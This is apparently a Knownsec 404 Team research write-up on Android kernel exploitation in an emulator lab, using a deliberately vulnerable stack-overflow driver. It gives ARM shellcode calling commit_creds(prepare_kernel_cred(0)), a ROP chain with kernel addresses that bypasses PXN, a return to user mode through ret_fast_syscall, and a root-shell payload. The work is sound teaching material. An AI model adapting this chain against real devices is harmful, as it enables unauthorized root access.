Author: Hcamael@Knownsec 404 Team
Chinese Version:


There is very little information about the simplest exploits of stack overflow in Android kernel, and the new version of the kernel has a big difference. It’s very easy under the circumstances of x86 instruction set, but the arm instruction set is very different, so I encountered many problems.

This article is about Linux kernel pwn. The kernel that can be studied is just privilege escalation, among which what has been studied most is the Linux system privilege escalation of x86 and arm instruction set. The Linux system privilege escalation of arm instruction set is basically Android root and iOS jailbreak, while there is a few about mips instruction set, which may because there are few application scenes.


Android kernel compilation

It is very troublesome to clone directly and compile under the git directory because the Android kernel source code is goldfish[1]. If you want to study that version, you can download the "tar.gz" for that branch directly.

The download addresses of the tools used in this article are as follows:

PS: If git clone is slow, you can use the domestic mirror to speed up:


# 下载源码
$ wget
$ tar zxf goldfish-android-goldfish-3.10.tar.gz
# 下载编译工具
$ git clone
# 下载一键编译脚本
$ git clone
# 只需要kernel-toolchain和
$ cp qemu-kernel/ goldfish/
$ cp -r qemu-kernel/kernel-toolchain/ goldfish/

Modify the kernel

When I learn the Android kernel pwn at the beginning, I have studied a project on Github [3], which relies on the old kernel. It is estimated that the kernel is below Android 3.4, and there are various problems in 3.10 or above, so I made some modifications myself, and opened a Github source as well.

There are two points to modify the kernel source code:

(1) Add debug symbols

Firstly, you need to know which version to compile. I have compiled is a 32-bit Android kernel by using goldfish_armv7, and the configuration files are: arch/arm/configs/goldfish_armv7_defconfig.

But I don't know why there is no such configuration file in 3.10, but there is no problem to use ranchu:

To add debug symbols to the kernel just needs to add CONFIG_DEBUG_INFO=y in the above configuration file. If it is goldfish, you need to add by yourself. There are already debug symbols in the default configuration of ranchu, so you don't need to modify it.

(2) Add drivers that contain vulnerabilities

This article is intended to study Android privilege escalation exploits, so I add a driver that contains stack overflow by myself, and the steps are to learn how to add the driver written by yourself.

Copy the vulnerabilities/ directory in the Github project that I’ve mentioned before to the driver directory of the kernel source code.

$ cp vulnerabilities/ goldfish/drivers/

Modify Makefile:

$ echo "obj-y += vulnerabilities/" >> drivers/Makefile

After importing the environment variables, compile with one-click compilation script:

$ export PATH=/root/arm-linux-androideabi-4.6/bin/:$PATH
$ ./ --config="ranchu"

PS: I encountered a problem when reproducing the environment in docker, you can refer to:

The compiled kernel is in the /tmp/qemu-kernel directory. There are two files: one is zImage--the kernel boot image; the other one is vmlinux--the kernel binary file, which is either used to analyze the kernel IDA or to provide symbolic information to gdb.

Preparations for Android simulation environment

Having compiled the kernel, it’s time for Android environment. You can use Android Studio [2] directly, but if you don't develop it, it seems that Studio is too bloated, and it will take a long time to download. Fortunately, the official command line tools are available, and you can only download it if you think Studio is too big.

PS: Remember to install java. The latest version of java 11 cannot be used, and I use java 8.

Create a directory and put the downloaded tools in it.

$ mkdir android_sdk
$ mv tools android_sdk/

Firstly you need to install some tools via tools / bin / sdkmanager.

# 用来编译android binary(exp)的,如果直接用arm-liunx-gcc交叉编译工具会缺一些依赖,解决依赖太麻烦了,还是用ndk一把梭方便
$ ./bin/sdkmanager --install "ndk-bundle"
# android模拟器
$ ./bin/sdkmanager --install "emulator"
# avd
$ ./bin/sdkmanager --install "platforms;android-19"
$ ./bin/sdkmanager --install "system-images;android-19;google_apis;armeabi-v7a"
# 其他
$ ./bin/sdkmanager --install "platform-tools"

PS: Because it is 32-bit, so I choose armeabi-v7a.

And I have tested Android-19, 24, 25, and found that in Android-24, 25, the driver that contains the vulnerability is only accessible to privileged users. Not having carefully analyzed the reason, I use the lower version of Android-19.

Create an Android virtual device:

./bin/avdmanager create avd -k "system-images;android-19;google_apis;armeabi-v7a" -d 5 -n "kernel_test"

Start up:

$ export kernel_path=ranchu_3.10_zImage
$ export kernel_path=goldfish_3.10_zImage
$ ./emulator  -show-kernel -kernel $kernel_path -avd kernel_test -no-audio -no-boot-anim -no-window -no-snapshot -qemu  -s

Test the exp I write:

$ cd ~/goldfish/drivers/vulnerabilities/stack_buffer_overflow/solution
$ ./

Run with normal users after compiling:

shell@generic:/ $ id
uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0
shell@generic:/ $ /data/local/tmp/stack_buffer_overflow_exploit
shell@generic:/ # id
uid=0(root) gid=0(root) context=u:r:kernel:s0

Research on Android kernel privilege escalation

My environment is derived from the AndroidKernelExploitationPlayground project [3], but the actual test found that it may rely on the 3.4 kernel in the project, while the current emulator requires the kernel version to be greater than or equal to 3.10.

There are many changes from kernel 3.4 to 3.10. Firstly, some functions in the kernel were deleted and modified, so the driver code needs to be changed. Secondly, the kernel 3.4 does not turn on the PXN protection. In kernel mode, it can jump to the memory space of user mode to execute the code. Therefore, the exp given in the project is to use shellcode, but in the 3.10 kernel, PXN protection is enabled, and shellcode in user mode memory cannot be executed.

Ideas of privilege escalation

There is only one purpose to study kernel pwn-- privilege escalation. So how do you change permissions from normal users to privileged users in Linux?

The general shellcode for privilege escalation is as follows:

"    .text\n"
"    .align 2\n"
"    .code 32\n"
"    .globl shellCode\n\t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR     R3, =0xc0039d34\n\t"   //prepare_kernel_cred addr
"MOV     R0, #0\n\t"
"BLX     R3\n\t"
"LDR     R3, =0xc0039834\n\t"   //commit_creds addr
"BLX     R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR    CPSR_c,R3\n\t"
"LDR     R3, =0x879c\n\t"     // payload function addr
"BLX     R3\n\t"

There are three steps in this shellcode privilege escalation:

  1. prepare_kernel_cred(0): create a privileged user-- cred.

  2. commit_creds(prepare_kernel_cred(0));: set the current user cred to the privileged user cred.

  3. MSR CPSR_c,R3: switch from kernel mode back to user mode(you can search online for more details about this instruction and CPSR register)

Having switched back to user mode, the permissions of the current program have become root, and you can execute /bin/sh at this time.

Continuing further research, it involves three structures of the kernel:

$ cat ./arch/arm/include/asm/thread_info.h
struct thread_info {
        struct task_struct      *task;          /* main task structure */
$ cat ./include/linux/sched.h
struct task_struct {
        const struct cred __rcu *real_cred;
$ cat ./include/linux/cred.h
struct cred {
        atomic_t        usage;
        atomic_t        subscribers;    /* number of processes subscribed */
        void            *put_addr;
        unsigned        magic;
#define CRED_MAGIC      0x43736564
#define CRED_MAGIC_DEAD 0x44656144
        kuid_t          uid;            /* real UID of the task */
        kgid_t          gid;            /* real GID of the task */
        kuid_t          suid;           /* saved UID of the task */
        kgid_t          sgid;           /* saved GID of the task */
        kuid_t          euid;           /* effective UID of the task */
        kgid_t          egid;           /* effective GID of the task */
        kuid_t          fsuid;          /* UID for VFS ops */
        kgid_t          fsgid;          /* GID for VFS ops */
        unsigned        securebits;     /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;       /* capability bounding set */
        kernel_cap_t    cap_ambient;    /* Ambient capability set */
        unsigned char   jit_keyring;    /* default keyring to attach requested
                                         * keys to */
        struct key __rcu *session_keyring; /* keyring inherited over fork */
        struct key      *process_keyring; /* keyring private to this process */
        struct key      *thread_keyring; /* keyring private to this thread */
        struct key      *request_key_auth; /* assumed request_key authority */
        void            *security;      /* subjective LSM security */
        struct user_struct *user;       /* real user ID subscription */
        struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
        struct group_info *group_info;  /* supplementary groups for euid/fsgid */
        struct rcu_head rcu;            /* RCU deletion hook */

Each process has a separate thread_info structure. Let's see how the kernel gets information about the thread_info structure of each process:

#define THREAD_SIZE             8192
static inline struct thread_info *current_thread_info(void)
        register unsigned long sp asm ("sp");
        return (struct thread_info *)(sp & ~(THREAD_SIZE - 1));

There is size limit in the kernel stack, and the size of the stack in arm32 is 0x2000, while the information of thread_info is stored at the bottom of the stack.

So, if we can get one of the stack addresses where the current process is running in the kernel, we can find thread_info, which will give us the address of cred, and if we can write the kernel arbitrarily, we can modify the information of cred to achieve privilege escalation.

In general, there is only one way to the kernel privilege escalation-- modify the cred information, while commit_creds(prepare_kernel_cred(0)); is just a function provided by the kernel to modify the cred.

Display cred data via gdb:

$ shell@generic:/ $ id
uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0

We can get $sp : 0xd415bf40 via gdb, and calculate the bottom address of the stack: 0xd415a000.

Then we can get the information of thread_info, as well as the address of task_struct-- 0xd4d16680.

Then we look over the information of task_struct and get the address of cred: 0xd4167780.

gef> p *(struct task_struct *)0xd4d16680
$2 = {
        real_cred = 0xd4167780, 
        cred = 0xd4167780,
# 数据太长了,就不截图了

Look over the information of cred:

Convert the hex for uid and gid to decimal, and find out that it is just the permissions of the current process.

Use ROP to bypass PXN for Android privilege escalation

Next is about how to exploit the vulnerability to perform privilege escalation. Because it studies the utilization method, I have created a basic stack overflow.

int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
    char buf[MAX_LENGTH];

    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
        return -EFAULT;
    return count;

I can't use shellcode because PXN is on, and then the first idea that comes to my mind is using ROP to perform shellcode operations.

Do not use ROPgadget, which takes a long time to run ELF in kernel, and ROPPER is recommended [4].

$ ropper -f /mnt/hgfs/tmp/android_kernel/ranchu_3.10_vmlinux --nocolor > ranchu_ropper_gadget

Then we find the address of the two functions: commit_creds and prepare_kernel_cred. They are in the kernel without kalsr enabled. We can send vmlinux directly into IDA to find out the address of these two functions.

Until now, we can construct the following rop chain:

*pc++ = 0x41424344;      // r4
*pc++ = 0xC00B8D68;      // ; mov r0, #0; pop {r4, pc}
*pc++ = 0x41424344;      // r4
*pc++ = 0xC00430F4;      // ; prepare_kernel_cred(0) -> pop {r3-r5, pc}
*pc++ = 0x41424344;      // r3
*pc++ = 0x41424344;      // r4
*pc++ = 0x41424344;      // r5
*pc++ = 0xC0042BFC;      // ; commit_creds -> pop {r4-r6, pc}
*pc++ = 0x41424344;      // r4
*pc++ = 0x41424344;      // r5
*pc++ = 0x41424344;      // r6

Having modified the permissions of the current process successfully, we need to switch the current process from the kernel mode back to the user mode, and then execute /bin/sh in the user mode, thus the privilege escalation is successful.

But there is a problem. What I use in shellcode is:

"mov r3, #0x40000010\n\t"
"MSR    CPSR_c,R3\n\t"
"LDR     R3, =0x879c\n\t"     // payload function addr
"BLX     R3\n\t"

And I can easily find the gadget: msr cpsr_c, r4; pop {r4, pc};.

However, there is no way to successfully switch back to the user mode. There is almost no relevant information on the Internet, and I can't find the cause of the problem. After executing the msr cpsr_c, r4 command, the stack information will change, resulting in a failure to control the jump of the pc.

Later on, I track the execution of the kernel and find out that the kernel itself switches back to user mode via the ret_fast_syscall function:

$ cat ./arch/arm/kernel/entry-common.S
 UNWIND(.fnstart        )
 UNWIND(.cantunwind     )
        disable_irq                             @ disable interrupts
        ldr     r1, [tsk, #TI_FLAGS]
        tst     r1, #_TIF_WORK_MASK
        bne     fast_work_pending

        /* perform architecture specific actions before user return */
        arch_ret_to_user r1, lr

        restore_user_regs fast = 1, offset = S_OFF
 UNWIND(.fnend          )
   0xc000df80 <ret_fast_syscall>:   cpsid   i
   0xc000df84 <ret_fast_syscall+4>: ldr r1, [r9]
   0xc000df88 <ret_fast_syscall+8>: tst r1, #7
   0xc000df8c <ret_fast_syscall+12>: bne 0xc000dfb0 <fast_work_pending>
   0xc000df90 <ret_fast_syscall+16>:    ldr r1, [sp, #72]   ; 0x48
   0xc000df94 <ret_fast_syscall+20>:    ldr lr, [sp, #68]!  ; 0x44
   0xc000df98 <ret_fast_syscall+24>:    msr SPSR_fsxc, r1
   0xc000df9c <ret_fast_syscall+28>:    clrex
   0xc000dfa0 <ret_fast_syscall+32>: ldmdb  sp, {r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
   0xc000dfa4 <ret_fast_syscall+36>:    nop; (mov r0, r0)
   0xc000dfa8 <ret_fast_syscall+40>:    add sp, sp, #12
   0xc000dfac <ret_fast_syscall+44>:    movs    pc, lr

In my tests, I find that it can successfully switch from kernel mode to user mode by using msr SPSR_fsxc, r1, but this instruction only exists before this function, so I could not find the relevant gadget. Having thought about many ways to use this function, the final way to test successfully is as follows.

Calculate the distance between the stack of the overflow function with vulnerability and the ret_fast_syscall function stack. After executing commit_creds(prepare_kernel_cred(0)); with ROP, use the appropriate gadget to modify the stack address (eg: add sp, sp, #0x30; pop {r4, r5, r6, pc};), then control pc to jump to 0xc000df90 <ret_fast_syscall+16>:, thus the program has finished executing the syscall of the kernel. Then switch back to the user process code to continue execution. After executing the following function in our user mode code, we can successfully achieve the privilege escalation.

void payload(void)
        if (getuid() == 0) {
                execl("/system/bin/sh", "sh", NULL);
        } else {
                warnx("failed to get root. How did we even get here?");

The full exp can be found on my Github.

ROP is just one of the utilization methods, and I will continue to explore other methods and the exploits under 64-bit Android.



About Knownsec & 404 Team

Beijing Knownsec Information Technology Co., Ltd. was established by a group of high-profile international security experts. It has over a hundred frontier security talents nationwide as the core security research team to provide long-term internationally advanced network security solutions for the government and enterprises.

Knownsec's specialties include network attack and defense integrated technologies and product R&D under new situations. It provides visualization solutions that meet the world-class security technology standards and enhances the security monitoring, alarm and defense abilities of customer networks with its industry-leading capabilities in cloud computing and big data processing. The company's technical strength is strongly recognized by the State Ministry of Public Security, the Central Government Procurement Center, the Ministry of Industry and Information Technology (MIIT), China National Vulnerability Database of Information Security (CNNVD), the Central Bank, the Hong Kong Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.

404 Team, the core security team of Knownsec, is dedicated to the research of security vulnerability and offensive and defensive technology in the fields of Web, IoT, industrial control, blockchain, etc. 404 team has submitted vulnerability research to many well-known vendors such as Microsoft, Apple, Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the industry.

The most well-known sharing of Knownsec 404 Team includes: KCon Hacking Conference, Seebug Vulnerability Database and ZoomEye Cyberspace Search Engine.

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: